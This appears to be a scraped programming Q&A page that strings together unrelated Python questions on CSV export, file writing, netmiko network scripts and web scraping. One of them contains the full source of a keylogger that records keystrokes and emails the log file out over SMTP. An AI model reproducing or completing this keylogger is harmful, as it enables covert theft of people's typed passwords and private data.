I'm trying to send an CSV file that I create using this command :
copy ( select 1 as a ,2 as b ,3 as c) to '/var/lib/pgsql/output.csv' with delimiter ',' csv header;
I'm able to create the file only at /var/lib/pgsql/ because of permission errors that I'm getting.
now I'm trying or to move to file to a different location as /home/user/Desktop/someFolder or directly attach it to the mail.
this is the code:
#!/usr/bin/env python
import os
import subprocess
import psycopg2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import shutil
def fetch_all_postgres(pgsql_conn):
cmd = """ copy ( select 1 as a ,2 as b ,3 as c) to '/var/lib/pgsql/output.csv' with delimiter ',' csv header; """
cur = pgsql_conn.cursor()
cur.execute(cmd)
pgsql_conn.commit()
def send_mail():
msg = MIMEMultipart('alternative')
msg['Subject'] = "yuval script"
msg['From'] = From
msg['To'] = To
msg['Cc'] = copy
source_files = '/var/lib/pgsql/output.csv'
destination_folder = "/home/user/Desktop/somefolder/output.csv"
# first try
# shutil.move("/var/lib/pgsql/output.csv", "/home/user/Desktop/somefolder/output.csv")
# second try
# subprocess.run("mv %s %s" % (source_files, destination_folder), shell=True)
# therd try
# os.system("mv /var/lib/pgsql/output.csv /home/user/Desktop/somefolder/output.csv")
file_name = "output.csv"
attachment = open(source_files, "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % file_name)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(From, Passdune)
s.sendmail(From, To, msg.as_string())
s.quit()
def main():
print("connecting to db...")
conn = psycopg2.connect(CONNECTION_STRING)
fetch_all_postgres(conn)
send_mail()
print("end")
if __name__ == '__main__':
main()
this is the error if I trying to set the path of the copy to command to a different folder other then /var/lib/pgsql
psycopg2.ProgrammingError: could not open file
"/home/yaodav/Desktop/output1.csv" for writing: Permission denied
HINT: COPY TO instructs the PostgreSQL server process to write a
file. You may want a client-side facility such as psql's \copy.
this is the error on all the mv/copy command that Im trying :
Permission denied: '/var/lib/pgsql/output1.csv
I also tried this and this
Using copy commands from psycopg2:
cur = con.cursor()
f = open('test.csv', 'w')
cur.copy_expert("copy ( select 1 as a ,2 as b ,3 as c) to stdout with delimiter ',' csv header", f)
f.close()
cat /home/aklaver/test.csv
a,b,c
1,2,3
Related
I'm trying to make it so that the user chooses which function to run using if.
import os
import csv
import collections
import datetime
import pandas as pd
import time
import string
import re
import glob, os
folder_path = 'C:/ProgramData/WebPort/system/tags'
folder2_path = 'C:/ProgramData/WebPort/system'
search2_str = '"Prefix"'
print("Choices:\n 1 - Read from CSV\n 2 - Read from WPP")
x = input("Please enter your choice:\n")
x = int(x)
if x == 1:
csv_file_list = glob.glob(folder_path + '/*.csv')
with open("csv.txt", 'w') as wf:
for file in csv_file_list:
print(glob.glob(folder_path + '/*.csv'))
with open(file) as rf:
for line in rf:
if line.strip(): # if line is not empty
if not line.endswith("\n"):
line+="\n"
wf.write(line)
print('Reading from .csv')
elif x == 2:
for root, dirs, files in os.walk(folder2_path):
for file in files:
if file.endswith(".wpp"):
print(os.path.join(root, file))
with open(os.path.join(root, file), 'r') as fr, open ("wpp.txt",'a', encoding='utf-8') as fw:
for i,line in enumerate(fr):
if line.find(search2_str) != -1:
fw.write(line)
print('Reading from .wpp')
else:
print('wrong choice')
Getting Invalid syntax in line 34 using this.
Keylogger that sends results to email
Running .PY from anaconda CMD or IDE:
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. repeat indefinitely
Running from EXE (EXE created from Auto Py to Exe)
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. ---------------<<<<<<<<
try:
import pythoncom, pyHook
except:
print ("Please Install pythoncom and pyHook modules")
exit(0)
import urllib,urllib.request
from urllib.request import urlopen
from winreg import *
import sys
x=''
data=''
count=0
#Local Keylogger
def local():
global data
if len(data)>200:
# _thread.start_new_thread( local, ("Thread-2", 2, ) )
fp=open("c:/Users/Aaron/output.txt","a")
fp.write(data)
fp.close()
data=''
print ("saved")
# libraries to be imported
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
fromaddr = "name#outlook.com"
toaddr = "name#outlook.com"
# instance of MIMEMultipart
msg = MIMEMultipart()
# storing the senders email address
msg['From'] = fromaddr
# storing the receivers email address
msg['To'] = toaddr
# storing the subject
msg['Subject'] = "Subject of the Mail"
# string to store the body of the mail
body = ""
# attach the body with the msg instance
msg.attach(MIMEText(body, 'plain'))
# open the file to be sent
filename = "output.txt"
attachment = open("c:/Users/Aaron/output.txt", "rb")
# instance of MIMEBase and named as p
p = MIMEBase('application', 'octet-stream')
# To change the payload into encoded form
p.set_payload((attachment).read())
# encode into base64
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
# attach the instance 'p' to instance 'msg'
msg.attach(p)
# creates SMTP session
s = smtplib.SMTP('smtp-mail.outlook.com', 587)
# start TLS for security
s.starttls()
# Authentication
s.login(fromaddr, "password")
# Converts the Multipart msg into a string
text = msg.as_string()
# sending the mail
s.sendmail(fromaddr, toaddr, text)
# terminating the session
s.quit()
print ("emailed")
return True
def main():
print ("---- Keylogger Activated")
global xz
x=1
#if __name__ == '__main__':
# main()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
def keypressed(event):
print ("key")
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
elif event.Ascii==122:
# keys=''
print ("^^^^ Keylogger Deactivated")
sys.exit()
else:
keys=chr(event.Ascii)
data=data+keys
local()
return True
main()
There are no errors. When pressing keys the str "keys" does not print. So i think it is not running??
Very new to coding. please be kind :)
Let me know if you need more info
The script below opens devices.csv and reads the rows, then prints 2 of the fields. I want to create a separate .txt file for each row using 'Host Name' field, then print 'Configuration Text' to each file.
import csv
import sys
import os
path = 'C:/configs'
fh = "C:/configs/devices.csv"
with open(fh, mode='r') as infile:
reader = csv.DictReader(infile)
for row in reader:
print(row['Host Name'], row['Configuration Text'])
Please assist.
import csv
import sys
import os
path = 'C:/configs'
fh = "C:/configs/devices.csv"
with open(fh, mode='r') as infile:
reader = csv.DictReader(infile)
for row in reader:
with open(os.path.join(path, row['Host Name']), "w") as outfile: #Create File with host name
outfile.write(row['Configuration Text']) #Write Content
While learning through the network automation with python, I have created a script to capture the few network switch details with some sorts of commands. i have explicitely kept the commands in commands.txt and login credentilas in a file devices.json in a Jason format to pick it from and when i run this it works as expected by creating a file with command out details with time stamp.
What i Want: As i have commands.txt file which has diffrent commands, where i would like to have an idea of creating a separate file for each command which i have into commands.txt. as of now everything getting captured to a single file, desired example ..
prod-stvdx-sw_vcs_details.txt-Apr-10-2018:12:53
prod-stvdx-sw_vcs.txt-Apr-10-2018:12:53
prod-stvdx-sw_fabric_trunk.txt-Apr-10-2018:12:53
Below is the script version:
from __future__ import absolute_import, division, print_function
import json
import netmiko
import signal
import sys
import time
timestamp = time.strftime('%b-%d-%Y:%H:%M')
signal.signal(signal.SIGPIPE, signal.SIG_DFL) # IOError: Broken pipe
signal.signal(signal.SIGINT, signal.SIG_DFL) # KeyboardInterrupt: Ctrl-C
if len(sys.argv) < 3:
print('Usage: cmdrunner.py commands.txt devices.json')
exit()
netmiko_exceptions = (netmiko.ssh_exception.NetMikoTimeoutException,
netmiko.ssh_exception.NetMikoAuthenticationException)
#username, password = getPass.get_credentials()
with open(sys.argv[1]) as cmd_file:
commands = cmd_file.readlines()
with open(sys.argv[2]) as dev_file:
devices = json.load(dev_file)
for device in devices:
#device['username'] = username
#device['password'] = password
try:
print('~' * 79)
print('Connecting to device:', device['ip'])
connection = netmiko.ConnectHandler(**device)
filename = connection.base_prompt + '.txt' + '-' + timestamp
with open(filename, 'w') as out_file:
for command in commands:
out_file.write('++++ Output of ' + command + '\n\n')
out_file.write(connection.send_command(command) + '\n\n')
connection.disconnect()
except netmiko_exceptions as e:
print('Failed to ', device['ip'], e)
My commands.txt File:
$ cat commands.txt
show vcs details
show vcs
show fabric islports
show fabric isl
show fabric trunk
show logging raslog
show version
show ip int brief
Run
$ ./brocade_2.py commands.txt devices.json
-rw-r--r-- 1 moli moli 286K Apr 10 12:53 prod-stvdx-sw.txt-Apr-10-2018:12:53
I think if I understand correctly, you want to capture the output of each command in a separate file:
from __future__ import absolute_import, division, print_function
import json
import netmiko
import signal
import sys
import time
timestamp = time.strftime('%b-%d-%Y:%H:%M')
signal.signal(signal.SIGPIPE, signal.SIG_DFL) # IOError: Broken pipe
signal.signal(signal.SIGINT, signal.SIG_DFL) # KeyboardInterrupt: Ctrl-C
if len(sys.argv) < 3:
print('Usage: cmdrunner.py commands.txt devices.json')
exit()
netmiko_exceptions = (netmiko.ssh_exception.NetMikoTimeoutException,
netmiko.ssh_exception.NetMikoAuthenticationException)
#username, password = getPass.get_credentials()
with open(sys.argv[1]) as cmd_file:
commands = cmd_file.readlines()
with open(sys.argv[2]) as dev_file:
devices = json.load(dev_file)
for device in devices:
#device['username'] = username
#device['password'] = password
try:
print('~' * 79)
print('Connecting to device:', device['ip'])
connection = netmiko.ConnectHandler(**device)
for command in commands:
filename = connection.base_prompt +'-'+ command+'.txt' + '-' + timestamp
with open(filename, 'w') as out_file:
out_file.write('++++ Output of ' + command + '\n\n')
out_file.write(connection.send_command(command) + '\n\n')
connection.disconnect()
except netmiko_exceptions as e:
print('Failed to ', device['ip'], e)
I am running python3 on a Ubuntu machine and have noticed that the following block of code is fickle. Sometimes it runs just fine, other times it produces a segmentation fault. I don't understand why. Can someone explain what might be going on?
Basically what the code does is try to read S&P companies from Wikipedia and write the list of tickers to a file in the same directory as the script. If no connection to Wikipedia can be established, the script tries instead to read an existing list from file.
from urllib import request
from urllib.error import URLError
from bs4 import BeautifulSoup
import os
import pickle
import dateutil.relativedelta as dr
import sys
sys.setrecursionlimit(100000)
def get_standard_and_poors_500_constituents():
fname = (
os.path.abspath(os.path.dirname(__file__)) + "/sp500_constituents.pkl"
)
try:
# URL request, URL opener, read content.
req = request.Request(
"http://en.wikipedia.org/wiki/List_of_S%26P_500_companies"
)
opener = request.urlopen(req)
# Convert bytes to UTF-8.
content = opener.read().decode()
soup = BeautifulSoup(content, "lxml")
# HTML table we actually need is the first.
tables = soup.find_all("table")
external_class = tables[0].findAll("a", {"class":"external text"})
c = [ext.string for ext in external_class if not "reports" in ext]
with open(fname, "wb") as f:
pickle.dump(c, f)
except URLError:
with open(fname, "rb") as f:
c = pickle.load(f)
finally:
return c
sp500_constituents = get_standard_and_poors_500_constituents()
spdr_etf = "SPY"
sp500_index = "^GSPC"
def main():
X = get_standard_and_poors_500_constituents()
print(X)
if __name__ == "__main__":
main()